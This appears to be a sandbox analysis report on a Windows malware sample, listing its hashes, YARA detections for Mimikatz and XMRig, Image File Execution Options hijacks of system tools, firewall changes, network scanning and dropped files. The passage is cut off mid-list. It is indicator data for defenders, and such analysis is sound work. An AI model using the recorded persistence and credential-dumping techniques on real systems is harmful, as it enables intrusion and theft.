Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
120s -
max time network
120s -
platform
windows10-2004_x64 -
resource
win10v2004-20240730-en -
resource tags
arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system -
submitted
02/08/2024, 07:02
Behavioral task
behavioral1
Sample
6e21507a371cfdcd43f06d7563afa9d0N.exe
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
6e21507a371cfdcd43f06d7563afa9d0N.exe
Resource
win10v2004-20240730-en
General
-
Target
6e21507a371cfdcd43f06d7563afa9d0N.exe
-
Size
6.8MB
-
MD5
6e21507a371cfdcd43f06d7563afa9d0
-
SHA1
6bc13012af31c5a117b79c5c8298a1994ea1cbe2
-
SHA256
37326134c86814ca68605f00988671d9dc56091b0082946f262643ef83274607
-
SHA512
f553ec483a800c7a7a0b87f163801f30cb79c08fdef1835f00c102bb1af566996912d61b47225a84f7fdaa8521eb8fd65b609d0c173d6a1738c34bb40d49d0c2
-
SSDEEP
196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1
Malware Config
Signatures
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 1192 created 2164 1192 qjyiybe.exe 38 -
Contacts a large (14385) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
-
XMRig Miner payload 9 IoCs
resource yara_rule behavioral2/memory/4596-182-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp xmrig behavioral2/memory/4596-198-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp xmrig behavioral2/memory/4596-204-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp xmrig behavioral2/memory/4596-216-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp xmrig behavioral2/memory/4596-222-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp xmrig behavioral2/memory/4596-232-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp xmrig behavioral2/memory/4596-243-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp xmrig behavioral2/memory/4596-248-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp xmrig behavioral2/memory/4596-250-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 5 IoCs
resource yara_rule behavioral2/memory/3136-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral2/memory/3136-4-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral2/files/0x00080000000234c7-6.dat mimikatz behavioral2/memory/3612-8-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral2/memory/220-138-0x00007FF6A98B0000-0x00007FF6A999E000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts qjyiybe.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts qjyiybe.exe -
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe qjyiybe.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" qjyiybe.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe qjyiybe.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 2352 netsh.exe 3004 netsh.exe -
Executes dropped EXE 26 IoCs
pid Process 3612 qjyiybe.exe 1192 qjyiybe.exe 4808 wpcap.exe 4472 acrtghepr.exe 220 vfshost.exe 4452 pncfsyeys.exe 2244 xohudmc.exe 4568 zefhau.exe 4596 hifrqs.exe 2592 pncfsyeys.exe 3516 pncfsyeys.exe 1628 pncfsyeys.exe 4860 pncfsyeys.exe 3136 pncfsyeys.exe 4000 pncfsyeys.exe 2412 qjyiybe.exe 3232 pncfsyeys.exe 3236 pncfsyeys.exe 4856 pncfsyeys.exe 4444 pncfsyeys.exe 1980 pncfsyeys.exe 4012 pncfsyeys.exe 2728 pncfsyeys.exe 2840 pncfsyeys.exe 4104 brqprlqns.exe 3632 qjyiybe.exe -
Loads dropped DLL 12 IoCs
pid Process 4808 wpcap.exe 4808 wpcap.exe 4808 wpcap.exe 4808 wpcap.exe 4808 wpcap.exe 4808 wpcap.exe 4808 wpcap.exe 4808 wpcap.exe 4808 wpcap.exe 4472 acrtghepr.exe 4472 acrtghepr.exe 4472 acrtghepr.exe -
resource yara_rule behavioral2/files/0x000700000002350b-134.dat upx behavioral2/memory/220-135-0x00007FF6A98B0000-0x00007FF6A999E000-memory.dmp upx behavioral2/memory/220-138-0x00007FF6A98B0000-0x00007FF6A999E000-memory.dmp upx behavioral2/files/0x0007000000023516-141.dat upx behavioral2/memory/4452-142-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp upx behavioral2/memory/4452-146-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp upx behavioral2/files/0x0007000000023513-163.dat upx behavioral2/memory/4596-164-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp upx behavioral2/memory/2592-171-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp upx behavioral2/memory/3516-175-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp upx behavioral2/memory/1628-179-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp upx behavioral2/memory/4596-182-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp upx behavioral2/memory/4860-184-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp upx behavioral2/memory/3136-188-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp upx behavioral2/memory/4000-192-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp upx behavioral2/memory/4596-198-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp upx behavioral2/memory/3232-201-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp upx behavioral2/memory/4596-204-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp upx behavioral2/memory/3236-206-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp upx behavioral2/memory/4856-210-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp upx behavioral2/memory/4444-214-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp upx behavioral2/memory/4596-216-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp upx behavioral2/memory/1980-219-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp upx behavioral2/memory/4596-222-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp upx behavioral2/memory/4012-224-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp upx behavioral2/memory/2728-228-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp upx behavioral2/memory/2840-231-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp upx behavioral2/memory/4596-232-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp upx behavioral2/memory/4596-243-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp upx behavioral2/memory/4596-248-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp upx behavioral2/memory/4596-250-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 60 ifconfig.me 61 ifconfig.me -
Creates a Windows Service
-
Drops file in System32 directory 18 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache qjyiybe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData qjyiybe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 qjyiybe.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies qjyiybe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft qjyiybe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE qjyiybe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2DEAA270F2A3ADDABB8505E3C5BD28E8 qjyiybe.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\zefhau.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 qjyiybe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content qjyiybe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2DEAA270F2A3ADDABB8505E3C5BD28E8 qjyiybe.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 qjyiybe.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\zefhau.exe xohudmc.exe -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
description ioc Process File created C:\Windows\szlnqtttb\Corporate\vfshost.exe qjyiybe.exe File created C:\Windows\szlnqtttb\nsrrqrtgu\scan.bat qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\posh-0.dll qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\docmicfg.xml qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\schoedcl.xml qjyiybe.exe File opened for modification C:\Windows\kfqsrbhr\svschost.xml qjyiybe.exe File created C:\Windows\szlnqtttb\upbdrjv\swrpwe.exe qjyiybe.exe File created C:\Windows\szlnqtttb\nsrrqrtgu\brqprlqns.exe qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\spoolsrv.xml qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\AppCapture32.dll qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\schoedcl.xml qjyiybe.exe File created C:\Windows\kfqsrbhr\spoolsrv.xml qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\svschost.exe qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\vimpcsvc.xml qjyiybe.exe File opened for modification C:\Windows\kfqsrbhr\schoedcl.xml qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\tibe-2.dll qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\tucl-1.dll qjyiybe.exe File opened for modification C:\Windows\kfqsrbhr\vimpcsvc.xml qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\spoolsrv.exe qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\svschost.xml qjyiybe.exe File opened for modification C:\Windows\kfqsrbhr\spoolsrv.xml qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\zlib1.dll qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\libeay32.dll qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\trfo-2.dll qjyiybe.exe File created C:\Windows\kfqsrbhr\qjyiybe.exe 6e21507a371cfdcd43f06d7563afa9d0N.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\coli-0.dll qjyiybe.exe File opened for modification C:\Windows\szlnqtttb\Corporate\log.txt cmd.exe File opened for modification C:\Windows\kfqsrbhr\qjyiybe.exe 6e21507a371cfdcd43f06d7563afa9d0N.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\libxml2.dll qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\xdvl-0.dll qjyiybe.exe File created C:\Windows\kfqsrbhr\vimpcsvc.xml qjyiybe.exe File created C:\Windows\kfqsrbhr\docmicfg.xml qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\AppCapture64.dll qjyiybe.exe File created C:\Windows\szlnqtttb\nsrrqrtgu\wpcap.dll qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\trch-1.dll qjyiybe.exe File opened for modification C:\Windows\kfqsrbhr\docmicfg.xml qjyiybe.exe File opened for modification C:\Windows\szlnqtttb\nsrrqrtgu\Packet.dll qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\schoedcl.exe qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\spoolsrv.xml qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\docmicfg.xml qjyiybe.exe File created C:\Windows\ime\qjyiybe.exe qjyiybe.exe File created C:\Windows\szlnqtttb\nsrrqrtgu\acrtghepr.exe qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\crli-0.dll qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\ucl.dll qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\vimpcsvc.exe qjyiybe.exe File created C:\Windows\kfqsrbhr\svschost.xml qjyiybe.exe File created C:\Windows\szlnqtttb\Corporate\mimilib.dll qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\exma-1.dll qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\ssleay32.dll qjyiybe.exe File opened for modification C:\Windows\szlnqtttb\nsrrqrtgu\Result.txt brqprlqns.exe File created C:\Windows\szlnqtttb\UnattendGC\vimpcsvc.xml qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\Shellcode.ini qjyiybe.exe File created C:\Windows\szlnqtttb\Corporate\mimidrv.sys qjyiybe.exe File created C:\Windows\szlnqtttb\nsrrqrtgu\ip.txt qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\cnli-1.dll qjyiybe.exe File created C:\Windows\kfqsrbhr\schoedcl.xml qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\docmicfg.exe qjyiybe.exe File created C:\Windows\szlnqtttb\UnattendGC\specials\svschost.xml qjyiybe.exe File created C:\Windows\szlnqtttb\nsrrqrtgu\wpcap.exe qjyiybe.exe File created C:\Windows\szlnqtttb\nsrrqrtgu\Packet.dll qjyiybe.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 5104 sc.exe 1580 sc.exe 432 sc.exe 2036 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened 